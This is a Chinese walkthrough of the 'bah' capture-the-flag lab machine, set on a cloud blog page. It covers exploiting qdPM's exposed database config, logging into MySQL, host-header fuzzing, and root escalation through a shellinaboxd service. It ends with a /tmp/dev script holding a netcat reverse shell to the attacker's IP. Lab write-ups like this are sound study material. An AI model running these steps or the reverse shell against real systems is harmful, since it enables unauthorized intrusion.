bah-host碰撞-pspy+sheallinabox

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: bah-host碰撞-pspy+sheallinabox
bah easy qdpmcms利用、mysql利用、host碰撞、shellinaboxd使用、pspy分析隐藏进程提权

信息收集

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -i eth0 -r 192.168.44.141/24
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -A -T 4 -p- 192.168.44.141 

80 3306

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.44.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,png -e

访问80发现是qdPMcms的网站,直接searchsploit

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit qdPM 
qdPM 9.2 - Cross-site Request Forgery (CSR | php/webapps/50854.txt
qdPM 9.2 - Password Exposure (Unauthentica | php/webapps/50176.txt

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ searchsploit -m php/webapps/50176.txt

https://www.exploit-db.com/exploits/50176
http://<website>/core/config/databases.yml

下载得到数据库的用户密码http://192.168.44.141/core/config/databases.yml

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qpm;host=localhost'
      profiler: false
      username: qpmadmin
      password: "<?php echo urlencode('qpmpazzw') ; ?>"
      attributes:
        quote_identifier: true  

重新安装漏洞http://192.168.44.141/install

但是登陆时候确是404http://192.168.44.141/index.php/login

想到刚开开启的3306端口可以登录数据库

                                                                             
┌──(kali㉿kali)-[~]
└─$ mysql -uqpmadmin -pqpmpazzw -h192.168.44.141     
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 58
Server version: 10.5.11-MariaDB-1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| hidden             |
| information_schema |
| mysql              |
| performance_schema |
| qpm                |
+--------------------+
5 rows in set (0.003 sec)

MariaDB [(none)]> use hidden
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MariaDB [hidden]> show tables;
+------------------+
| Tables_in_hidden |
+------------------+
| url              |
| users            |
+------------------+
2 rows in set (0.002 sec)

MariaDB [hidden]> select * from users;
+----+---------+---------------------+
| id | user    | password            |
+----+---------+---------------------+
|  1 | jwick   | Ihaveafuckingpencil |
|  2 | rocio   | Ihaveaflower        |
|  3 | luna    | Ihavealover         |
|  4 | ellie   | Ihaveapassword      |
|  5 | camila  | Ihaveacar           |
|  6 | mia     | IhaveNOTHING        |
|  7 | noa     | Ihaveflow           |
|  8 | nova    | Ihavevodka          |
|  9 | violeta | Ihaveroot           |
+----+---------+---------------------+
9 rows in set (0.002 sec)

MariaDB [hidden]> select * from url;
+----+-------------------------+
| id | url                     |
+----+-------------------------+
|  1 | http://portal.bah.hmv   |
|  2 | http://imagine.bah.hmv  |
|  3 | http://ssh.bah.hmv      |
|  4 | http://dev.bah.hmv      |
|  5 | http://party.bah.hmv    |
|  6 | http://ass.bah.hmv      |
|  7 | http://here.bah.hmv     |
|  8 | http://hackme.bah.hmv   |
|  9 | http://telnet.bah.hmv   |
| 10 | http://console.bah.hmv  |
| 11 | http://tmux.bah.hmv     |
| 12 | http://dark.bah.hmv     |
| 13 | http://terminal.bah.hmv |
+----+-------------------------+
13 rows in set (0.002 sec)

MariaDB [hidden]> 

host碰撞

使用host碰撞工具获取访问域名,记得在HostCollision-2.2.8/dataSource/下配置好域名和ip

┌──(kali㉿kali)-[~/Desktop/红队工具/HostCollision-2.2.8]
└─$ java -jar HostCollision.jar

或者使用wfuzz 进行碰撞

┌──(kali㉿kali)-[~/桌面/OSCP]
└─$ wfuzz -c -w url -u 192.168.44.141 -H "HOST: FUZZ"

000000005:   200        0 L      1 W        46 Ch       "party.bah.hmv - party.bah.hmv"

host绑定后访问这个域名

sudo vim /etc/hosts

使用这个用户密码ssh|  2 | rocio   | Ihaveaflower        |
使用上面的密码获取一个web 版的ssh(shellinabox:一款使用 AJAX 的基于 Web 的终端模拟器)

rocio@bah:~$ cat user.txt                                                    
HdsaMoiuVdsaeqw                                                              

su qpmadmin //qpmpazzw

提权

上传pspy64查看root进程

qpmadmin@bah:~$ wget http://192.168.44.128:1234/pspy64
--2024-04-19 03:13:46--  http://192.168.44.128:1234/pspy64                   
Connecting to 192.168.44.128:1234... connected.                              
HTTP request sent, awaiting response... 200 OK                               
Length: 3104768 (3.0M)                                                       
Saving to: ‘pspy64’                                                          
                                                                             
pspy64              100%[================>]   2.96M  --.-KB/s    in 0.1s     
                                                                             
2024-04-19 03:13:46 (28.6 MB/s) - ‘pspy64’ saved [3104768/3104768]           
                                                                             
qpmadmin@bah:~$ ls                                                           
pspy64                                                                       
qpmadmin@bah:~$ chmod +x pspy64                                              
qpmadmin@bah:~$ ./pspy64                                                     
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
                                                                             
                                                                             
     ██▓███    ██████  ██▓███ ▓██   ██▓                                      
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒                                      
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░                                      
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░                                      
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░                                      
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                       
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                       
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░                                        
                   ░           ░ ░                                           
                               ░ ░                                           
                                                                             
Config: Printing events (colored=true): processes=true | file-system-events=f
alse ||| Scanning for processes every 100ms and on inotify events ||| Watchin
g directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursi
ve)                                                                          
Draining file system events due to startup...                                
done                                                                         
2024/04/19 03:14:06 CMD: UID=1001  PID=996    | ./pspy64 
2024/04/19 03:14:06 CMD: UID=0     PID=993    | 
2024/04/19 03:14:06 CMD: UID=1001  PID=930    | bash 
2024/04/19 03:14:06 CMD: UID=0     PID=929    | su qpmadmin 
2024/04/19 03:14:06 CMD: UID=1000  PID=910    | -bash 
2024/04/19 03:14:06 CMD: UID=1000  PID=905    | (sd-pam) 
2024/04/19 03:14:06 CMD: UID=1000  PID=903    | /lib/systemd/systemd --user 
2024/04/19 03:14:06 CMD: UID=0     PID=897    | login -p -h 127.0.0.1 
2024/04/19 03:14:06 CMD: UID=0     PID=881    | 
2024/04/19 03:14:06 CMD: UID=0     PID=858    | dhclient ens33 
2024/04/19 03:14:06 CMD: UID=0     PID=854    | 
2024/04/19 03:14:06 CMD: UID=0     PID=659    | dhclient ens33 
2024/04/19 03:14:06 CMD: UID=0     PID=638    | dhclient ens33 
2024/04/19 03:14:06 CMD: UID=0     PID=634    | -bash 
2024/04/19 03:14:06 CMD: UID=0     PID=629    | (sd-pam) 
2024/04/19 03:14:06 CMD: UID=0     PID=628    | /lib/systemd/systemd --user 
2024/04/19 03:14:06 CMD: UID=106   PID=556    | /usr/sbin/mariadbd 
2024/04/19 03:14:06 CMD: UID=33    PID=537    | php-fpm: pool www            
                                                                             
2024/04/19 03:14:06 CMD: UID=33    PID=536    | php-fpm: pool www            
                                                                             
2024/04/19 03:14:06 CMD: UID=33    PID=530    | nginx: worker process        
                                                                             
2024/04/19 03:14:06 CMD: UID=0     PID=524    | nginx: master process /usr/sb
in/nginx -g daemon on; master_process on;                                    
2024/04/19 03:14:06 CMD: UID=107   PID=513    | /usr/bin/shellinaboxd -q --ba
ckground=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellin
abox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabl
ed/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_
White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color 
Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css -
-no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/
dev                                                                          
2024/04/19 03:14:06 CMD: UID=107   PID=511    | /usr/bin/shellinaboxd -q --ba
ckground=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 4200 -u shellin
abox -g shellinabox --user-css Black on White:+/etc/shellinabox/options-enabl
ed/00+Black on White.css,White On Black:-/etc/shellinabox/options-enabled/00_
White On Black.css;Color Terminal:+/etc/shellinabox/options-enabled/01+Color 
Terminal.css,Monochrome:-/etc/shellinabox/options-enabled/01_Monochrome.css -
-no-beep --disable-ssl --localhost-only -s/:LOGIN -s /devel:root:root:/:/tmp/
dev                                                                          
2024/04/19 03:14:06 CMD: UID=0     PID=472    | 
2024/04/19 03:14:06 CMD: UID=0     PID=468    | /bin/login -p --      
2024/04/19 03:14:06 CMD: UID=0     PID=448    | /lib/systemd/systemd-logind 
2024/04/19 03:14:06 CMD: UID=0     PID=443    | /usr/sbin/rsyslogd -n -iNONE 
2024/04/19 03:14:06 CMD: UID=0     PID=440    | php-fpm: master process (/etc
/php/7.4/fpm/php-fpm.conf)                                                   
2024/04/19 03:14:06 CMD: UID=104   PID=430    | /usr/bin/dbus-daemon --system
 --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only  
2024/04/19 03:14:06 CMD: UID=0     PID=429    | /usr/sbin/cron -f 
2024/04/19 03:14:06 CMD: UID=101   PID=401    | /lib/systemd/systemd-timesync
d                                                                            
2024/04/19 03:14:06 CMD: UID=0     PID=384    | 

这里可以看到一个shellinaboxd的命令。 -s 是用于启动服务。程序中的/devel将由用户root调用目标机器的/tmp/dev。因此,我们可以在 /tmp 上创建一个名为“dev”的可执行脚本,这将为我们提供一个反向 shell。

qpmadmin@bah:/tmp$ nano dev                                                                                                                                      
qpmadmin@bah:/tmp$ cat dev                                                                
#!/bin/bash                                                 
nc -e /bin/bash 192.168.44.128 9001                                                                                                                              
qpmadmin@bah:/tmp$ chmod +x dev           


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
11月前
|
应用服务中间件 nginx
HOST 碰撞
HOST 碰撞
64 0
|
3月前
|
应用服务中间件 nginx Docker
connect() failed (113: No route to host) while connecting to upstream
connect() failed (113: No route to host) while connecting to upstream
101 0
|
4月前
|
网络安全
阿里云Could not connect to SITP host: smtp.163.com,port: 25;
阿里云Could not connect to SITP host: smtp.163.com,port: 25;
133 1
|
12月前
|
Linux 网络安全
ssh: connect to host 10.13.69.163 port 22: No route to host
ssh: connect to host 10.13.69.163 port 22: No route to host
|
12月前
|
Kubernetes 网络协议 容器
kubectl命令报错:Unable to connect to the server: dial tcp XXX:16443: connect: no route to host
kubectl命令报错:Unable to connect to the server: dial tcp XXX:16443: connect: no route to host
858 0
The connection to the server ip:6443 was refused - did you specify the right host or port
The connection to the server ip:6443 was refused - did you specify the right host or port
|
分布式计算 Hadoop 网络安全
三十一、 master: ssh: connect to host master port 22: No route to host
三十一、 master: ssh: connect to host master port 22: No route to host
三十一、 master: ssh: connect to host master port 22: No route to host
获取application server 主机名(host name)和端口号(port)的FM TH_GET_VIRT_HOST_DATA
获取application server 主机名(host name)和端口号(port)的FM TH_GET_VIRT_HOST_DATA
580 0
获取application server 主机名(host name)和端口号(port)的FM TH_GET_VIRT_HOST_DATA
|
Web App开发 缓存 网络协议
Shit! 我的host到底怎么了?
背景 那是今年五月的某一天,我的mac在切换系统host后,chrome迟迟不生效,依然访问的是原来的环境. 开发和测试同学在做项目时,需要经常进行 日常环境 预发环境 线上环境的切换,其实切的就是系统的host.如果浏览器总是延迟,或者死活不生效的活,基本上你就在那不停的刷新\刷新\刷新. 或者重新启动浏览器.心情会很烦躁的有木有. 解决方案 遇到这个问题的时候,一般我们有以
1586 0